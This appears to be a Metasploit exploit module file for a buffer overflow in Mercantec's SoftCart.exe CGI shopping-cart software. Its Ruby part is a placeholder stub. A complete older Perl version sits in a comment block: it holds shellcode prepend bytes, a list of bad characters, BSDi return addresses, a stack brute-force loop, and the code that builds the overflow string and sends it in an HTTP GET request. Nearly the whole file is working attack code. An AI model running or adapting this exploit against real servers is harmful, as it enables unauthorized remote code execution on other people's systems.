278 lines
6.7 KiB
Ruby
278 lines
6.7 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mercantec SoftCart CGI Overflow',
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'Description' => %q{
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This is an exploit for an undisclosed buffer overflow
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in the SoftCart.exe CGI as shipped with Mercantec's shopping
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cart software. It is possible to execute arbitrary code
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by
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passing a malformed CGI parameter in an HTTP GET
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request.
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This issue is known to affect SoftCart version
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4.00b.
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},
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'Author' => [ 'skape', 'trew' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '9011'],
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[ 'MIL', '38'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
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'MinNops' => 16,
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'Prepend' => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
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'PrependEncoder' => "\x83\xec\x7f",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'bsdi',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Aug 19 2004',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::mercantec_softcart;
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use strict;
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use base "Msf::Exploit";
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my $advanced =
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{
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'StackBottom' => [ '', 'Start address for stack ret.' ],
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'StackTop' => [ '', 'Stop address for stack ret.' ],
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'StackStep' => [ 0, 'Number of bytes to increment between steps.' ],
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'BruteWait' => [ 0, 'Number of seconds to wait between steps.' ],
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};
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my $info =
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{
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'Name' => 'Mercantec SoftCart CGI Overflow',
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'Version' => '$Revision$',
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'Authors' =>
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[
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'skape <mmiller [at] hick.org>',
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'trew <trew [at] exploit.us>'
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],
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'Description' =>
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qq{
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This is an exploit for an undisclosed buffer overflow
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in the SoftCart.exe CGI as shipped with Mercantec's shopping
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cart software. It is possible to execute arbitrary code by
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passing a malformed CGI parameter in an HTTP GET request.
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This issue is known to affect SoftCart version 4.00b.
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},
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'Arch' => [ 'x86' ],
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'OS' => [ 'bsdi' ],
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'Priv' => 0,
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'UserOpts' =>
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{
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'RHOST' => [ 1, 'ADDR', 'The target HTTP server address' ],
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'RPORT' => [ 1, 'PORT', 'The target HTTP server port', 80 ],
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'VHOST' => [ 1, 'DATA', 'The target HTTP virtual host', 'auto' ],
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'URI' => [ 1, 'DATA', 'The target CGI URI', '/cgi-bin/SoftCart.exe' ],
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},
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'Payload' =>
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{
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'Space' => 1000, # tons
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'MinNops' => 16,
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'BadChars'=> "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e" .
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"\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b" .
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"\x7d\x28\x29\x3f\x5d\x5b\x00",
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'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
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},
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'Refs' =>
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[
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['OSVDB', '9011'],
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['MIL', '38'],
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],
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'DefaultTarget' => -1,
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'Targets' =>
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[
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# Name Bottom/Ret Top
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[ 'BSDi/4.3 Bruteforce', 0xefbf3000, 0xefbffffc ],
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[ 'BSDi/4.3', 0xefbf4b8e, 0x0 ],
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],
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'Keys' => ['softcart'],
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'DisclosureDate' => 'Aug 19 2004',
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};
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sub new
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{
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my $class = shift;
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my $self;
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$self = $class->SUPER::new(
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{
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'Info' => $info,
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'Advanced' => $advanced,
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},
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@_);
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return $self;
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}
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#
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# We must fork our child before doing fun stuff.
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#
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sub PayloadPrepend
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{
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my $self = shift;
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return "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00" .
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"\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00" .
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"\x00\x07\x00";
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}
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sub Exploit
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{
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my $self = shift;
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my $targetIdx = $self->GetVar('TARGET');
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my $payload = $self->GetVar('EncodedPayload');
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my $shellcode = $payload->Payload;
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my $target = $self->Targets->[$targetIdx];
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my $ret = $target->[1];
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my $valid;
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$self->PrintLine('[*] Trying exploit target ' . $target->[0]);
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if ($target->[0] =~ /Bruteforce/)
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{
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my $stackTop = hex($self->GetLocal('StackTop'));
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my $stackBottom = hex($self->GetLocal('StackBottom'));
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my $stackStep = $self->GetLocal('StackStep');
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my $wait = $self->GetLocal('BruteWait');
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$stackBottom = $target->[1] if ($stackBottom == 0);
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$stackTop = $target->[2] if ($stackTop == 0);
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$stackStep = $payload->NopsLength if ($stackStep == 0);
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$self->PrintLine(sprintf('[*] Brute forcing %.8x => %.8x (step %d)...',
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$stackBottom, $stackTop, $stackStep));
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# Loop through addresses, incrementing by stackStep each interval
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for ($ret = $stackBottom, $valid = $ret + length($shellcode);
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$ret < $stackTop;
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$ret = $self->StepAddress(Address => $ret, StepSize => $stackStep, Direction => 1),
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$valid = $self->StepAddress(Address => $valid, StepSize => $stackStep, Direction => 1))
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{
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# Wrap valid around if it goes past the top
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$valid = $stackBottom if ($valid >= $stackTop);
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$self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
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last if (not defined($self->transmitExploit(target => $target,
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shellcode => $shellcode, ret => $ret, valid => $valid)));
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sleep($wait);
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}
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}
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else
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{
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$valid = $ret + length($shellcode);
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$self->transmitExploit(target => $target,
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shellcode => $shellcode, ret => $ret, valid => $valid);
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}
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}
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sub transmitExploit
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{
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my $self = shift;
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my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
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my $targetHost = $self->GetVar('RHOST');
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my $targetPort = $self->GetVar('RPORT');
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my $vhost = $self->GetVar('VHOST');
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my $uri = $self->GetVar('URI');
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my $bof;
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my $s;
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$vhost = $targetHost if (not defined($vhost) or $vhost eq 'auto');
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# Build payload
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$bof = "MAA+scstoreB";
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$bof .= "A" x (524 - length($bof));
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$bof .= pack("V", $ret);
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$bof .= "MSF!";
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$bof .= pack("V", $valid);
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$bof .= $shellcode;
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $targetHost,
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'PeerPort' => $targetPort,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintError;
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return;
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}
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# << pow! >>
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$s->Send("GET $uri?$bof HTTP/1.0\r\n" .
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"Host: $vhost\r\n" .
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"\r\n");
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return 1;
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}
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1;
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=end
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end
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end
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